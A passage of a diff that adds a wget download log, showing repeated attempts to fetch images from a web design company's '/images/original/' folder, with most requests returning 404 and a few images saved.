+           => `./original/managed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:04 ERROR 404: Not Found.
+
+--14:25:04--  http://www.gaslightmedia.com/images/original/guyinbed.jpg
+           => `./original/guyinbed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:04 ERROR 404: Not Found.
+
+--14:25:04--  http://www.gaslightmedia.com/images/original/magnifyglass.gif
+           => `./original/magnifyglass.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:04 ERROR 404: Not Found.
+
+--14:25:04--  http://www.gaslightmedia.com/images/original/key.gif
+           => `./original/key.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:04 ERROR 404: Not Found.
+
+--14:25:04--  http://www.gaslightmedia.com/images/original/approved.gif
+           => `./original/approved.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:04 ERROR 404: Not Found.
+
+--14:25:04--  http://www.gaslightmedia.com/images/original/bonus.gif
+           => `./original/bonus.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:04 ERROR 404: Not Found.
+
+--14:25:04--  http://www.gaslightmedia.com/images/original/boxes.jpg
+           => `./original/boxes.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:04 ERROR 404: Not Found.
+
+--14:26:22--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:26:22 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:26:22--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   16.28 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:26:22 (14.12 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:26:22--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:26:22 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:26:22--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:26:22 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:26:22--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:26:23 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/1145470976toolbox.gif
+           => `./original/1145470976toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/messageinbottle.jpg
+           => `./original/messageinbottle.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/jacks.jpg
+           => `./original/jacks.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/marbles.jpg
+           => `./original/marbles.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/managed.jpg
+           => `./original/managed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/guyinbed.jpg
+           => `./original/guyinbed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/magnifyglass.gif
+           => `./original/magnifyglass.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/key.gif
+           => `./original/key.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/approved.gif
+           => `./original/approved.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/bonus.gif
+           => `./original/bonus.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:23--  http://www.gaslightmedia.com/images/original/boxes.jpg
+           => `./original/boxes.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:23 ERROR 404: Not Found.
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:26:51 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:26:51 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:26:51 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   12.21 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:26:51 (11.76 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:51 ERROR 404: Not Found.
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:51 ERROR 404: Not Found.
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:26:51 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:51 ERROR 404: Not Found.
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:51 ERROR 404: Not Found.
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:51 ERROR 404: Not Found.
+
+--14:26:51--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:51 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/1145470976toolbox.gif
+           => `./original/1145470976toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/messageinbottle.jpg
+           => `./original/messageinbottle.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/jacks.jpg
+           => `./original/jacks.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/marbles.jpg
+           => `./original/marbles.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/managed.jpg
+           => `./original/managed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/guyinbed.jpg
+           => `./original/guyinbed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/magnifyglass.gif
+           => `./original/magnifyglass.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/key.gif
+           => `./original/key.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/approved.gif
+           => `./original/approved.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/bonus.gif
+           => `./original/bonus.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:26:52--  http://www.gaslightmedia.com/images/original/boxes.jpg
+           => `./original/boxes.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:26:52 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:28:24 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:28:24 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:28:24 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   12.21 MB/s
+   50K .......... .......... ..                              100%   21.75 MB/s
+
+14:28:24 (14.12 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:28:24 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/1145470976toolbox.gif
+           => `./original/1145470976toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/vmail.jpg
+           => `./original/vmail.jpg'
